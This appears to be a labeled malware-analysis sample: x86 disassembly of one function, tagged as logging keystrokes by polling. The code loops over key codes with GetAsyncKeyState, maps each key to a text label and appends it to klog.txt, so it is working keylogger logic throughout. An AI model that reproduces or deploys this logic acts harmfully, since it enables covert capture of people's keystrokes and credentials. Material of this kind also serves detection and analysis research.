Function at 0x403bdc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x214
mov byte [ebp - 9], 1
jmp 0x4043f5
movzx eax, byte [ebp - 9]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetAsyncKeyState]
call eax
sub esp, 4
mov word [ebp - 0xc], ax
movsx eax, word [ebp - 0xc]
and eax, 1
test eax, eax
je 0x4043ed
lea eax, [ebp - 0xe9]
mov dword [ebp - 0x10], eax
nop
nop
lea eax, [ebp - 0x104]
lea edx, [ebp - 0xe9]
mov dword [esp + 4], edx
mov dword [esp], 0x4c5732
mov ecx, eax
call fcn.004a6560
sub esp, 8
nop
cmp byte [ebp - 9], 1
jne 0x403c62
lea eax, [ebp - 0x104]
mov dword [esp], str._LMOUSE_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 2
jne 0x403c84
lea eax, [ebp - 0x104]
mov dword [esp], str._RMOUSE_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 4
jne 0x403ca6
lea eax, [ebp - 0x104]
mov dword [esp], str._MMOUSE_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xd
jne 0x403cc8
lea eax, [ebp - 0x104]
mov dword [esp], str._RETURN__n
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x10
je 0x403cda
cmp byte [ebp - 9], 0x11
je 0x403cda
cmp byte [ebp - 9], 0x12
jne 0x403cf6
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c5732
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xa0
je 0x403d02
cmp byte [ebp - 9], 0xa1
jne 0x403d1e
lea eax, [ebp - 0x104]
mov dword [esp], str._SHIFT_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xa2
je 0x403d2a
cmp byte [ebp - 9], 0xa3
jne 0x403d46
lea eax, [ebp - 0x104]
mov dword [esp], str._STRG_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xa4
jne 0x403d68
lea eax, [ebp - 0x104]
mov dword [esp], str._ALT_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xa5
jne 0x403d8a
lea eax, [ebp - 0x104]
mov dword [esp], str._ALT_GR_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 8
jne 0x403dac
lea eax, [ebp - 0x104]
mov dword [esp], str._BACKSPACE_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 9
jne 0x403dce
lea eax, [ebp - 0x104]
mov dword [esp], str._TAB_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x1b
jne 0x403df0
lea eax, [ebp - 0x104]
mov dword [esp], str._ESC_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x21
jne 0x403e12
lea eax, [ebp - 0x104]
mov dword [esp], str._PAGE_UP_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x22
jne 0x403e34
lea eax, [ebp - 0x104]
mov dword [esp], str._PAGE_DOWN_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x23
jne 0x403e56
lea eax, [ebp - 0x104]
mov dword [esp], str._HOME_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x24
jne 0x403e78
lea eax, [ebp - 0x104]
mov dword [esp], str._POS1_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x25
jne 0x403e9a
lea eax, [ebp - 0x104]
mov dword [esp], str._ARROW_LEFT_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x26
jne 0x403ebc
lea eax, [ebp - 0x104]
mov dword [esp], str._ARROW_UP_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x27
jne 0x403ede
lea eax, [ebp - 0x104]
mov dword [esp], str._ARROW_RIGHT_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x28
jne 0x403f00
lea eax, [ebp - 0x104]
mov dword [esp], str._ARROW_DOWN_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x2d
jne 0x403f22
lea eax, [ebp - 0x104]
mov dword [esp], str._INS_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x2e
jne 0x403f44
lea eax, [ebp - 0x104]
mov dword [esp], str._DEL_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x40
jbe 0x403f50
cmp byte [ebp - 9], 0x5a
jbe 0x403f62
cmp byte [ebp - 9], 0x2f
jbe 0x403f5c
cmp byte [ebp - 9], 0x39
jbe 0x403f62
cmp byte [ebp - 9], 0x20
jne 0x403f81
movzx eax, byte [ebp - 9]
movsx edx, al
lea eax, [ebp - 0x104]
mov dword [esp], edx
mov ecx, eax
call fcn.004a7110
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x5b
je 0x403f8d
cmp byte [ebp - 9], 0x5c
jne 0x403fa9
lea eax, [ebp - 0x104]
mov dword [esp], str._WIN_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x5f
jbe 0x40405b
cmp byte [ebp - 9], 0x69
ja 0x40405b
movzx eax, byte [ebp - 9]
lea edx, [eax - 0x60]
lea eax, [ebp - 0xb8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004aece0
lea eax, [ebp - 0xd0]
lea edx, [ebp - 0xb8]
mov dword [esp + 8], edx
mov dword [esp + 4], str._NUM
mov dword [esp], eax
call fcn.004b6dc4
lea eax, [ebp - 0xe8]
mov dword [esp + 8], 0x4c57fd
lea edx, [ebp - 0xd0]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004b6d54
lea eax, [ebp - 0x104]
lea edx, [ebp - 0xe8]
mov dword [esp], edx
mov ecx, eax
call fcn.004a6e60
sub esp, 4
lea eax, [ebp - 0xe8]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0xd0]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0xb8]
mov ecx, eax
call fcn.004a6e10
jmp 0x404358
cmp byte [ebp - 9], 0x6a
jne 0x40407d
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c57ff
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x6b
jne 0x40409f
lea eax, [ebp - 0x104]
mov dword [esp], str._NUM__
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x6d
jne 0x4040c1
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c580f
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x6e
jne 0x4040e3
lea eax, [ebp - 0x104]
mov dword [esp], str._NUM___
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0x6f
jbe 0x40418c
cmp byte [ebp - 9], 0x7b
ja 0x40418c
movzx eax, byte [ebp - 9]
lea edx, [eax - 0x6f]
lea eax, [ebp - 0x70]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004aece0
lea eax, [ebp - 0x88]
lea edx, [ebp - 0x70]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x4c581f
mov dword [esp], eax
call fcn.004b6dc4
lea eax, [ebp - 0xa0]
mov dword [esp + 8], 0x4c57fd
lea edx, [ebp - 0x88]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004b6d54
lea eax, [ebp - 0x104]
lea edx, [ebp - 0xa0]
mov dword [esp], edx
mov ecx, eax
call fcn.004a6e60
sub esp, 4
lea eax, [ebp - 0xa0]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x88]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x70]
mov ecx, eax
call fcn.004a6e10
jmp 0x404358
cmp byte [ebp - 9], 0x90
jne 0x4041ae
lea eax, [ebp - 0x104]
mov dword [esp], str._NUM_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xc0
jne 0x4041d0
lea eax, [ebp - 0x104]
mov dword [esp], str._OE_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xde
jne 0x4041f2
lea eax, [ebp - 0x104]
mov dword [esp], str._AE_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xba
jne 0x404214
lea eax, [ebp - 0x104]
mov dword [esp], str._UE_
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xbb
jne 0x404236
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c5837
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xbc
jne 0x404258
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c5839
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xbd
jne 0x40427a
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c583b
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xbe
jne 0x40429c
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c583d
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xbf
jne 0x4042be
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c583f
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
cmp byte [ebp - 9], 0xe2
jne 0x4042dd
lea eax, [ebp - 0x104]
mov dword [esp], 0x4c5841
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x404358
movzx edx, byte [ebp - 9]
lea eax, [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004aece0
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x4c5843
mov dword [esp], eax
call fcn.004b6dc4
lea eax, [ebp - 0x58]
mov dword [esp + 8], 0x4c57fd
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004b6d54
lea eax, [ebp - 0x104]
lea edx, [ebp - 0x58]
mov dword [esp], edx
mov ecx, eax
call fcn.004a6e60
sub esp, 4
lea eax, [ebp - 0x58]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x40]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.004a6e10
mov dword [esp + 4], 0x4c5732
lea eax, [ebp - 0x104]
mov dword [esp], eax
call fcn.004b64cc
xor eax, 1
test al, al
je 0x4043e0
lea eax, [ebp - 0x204]
mov ecx, eax
call fcn.00494c80
lea eax, [ebp - 0x204]
mov dword [esp + 4], 1
mov dword [esp], str.klog.txt
mov ecx, eax
call fcn.00494700
sub esp, 8
lea eax, [ebp - 0x104]
mov dword [esp + 4], eax
lea eax, [ebp - 0x204]
mov dword [esp], eax
call fcn.004b6910
lea eax, [ebp - 0x204]
mov ecx, eax
call fcn.004775d0
lea eax, [ebp - 0x204]
mov ecx, eax
call fcn.00494800
lea eax, [ebp - 0x204]
mov ecx, eax
call fcn.004951b0
lea eax, [ebp - 0x104]
mov ecx, eax
call fcn.004a6e10
movzx eax, byte [ebp - 9]
inc eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0xff
jne 0x403bef
jmp 0x40448b
mov ebx, dword [ebp - 4]
leave
ret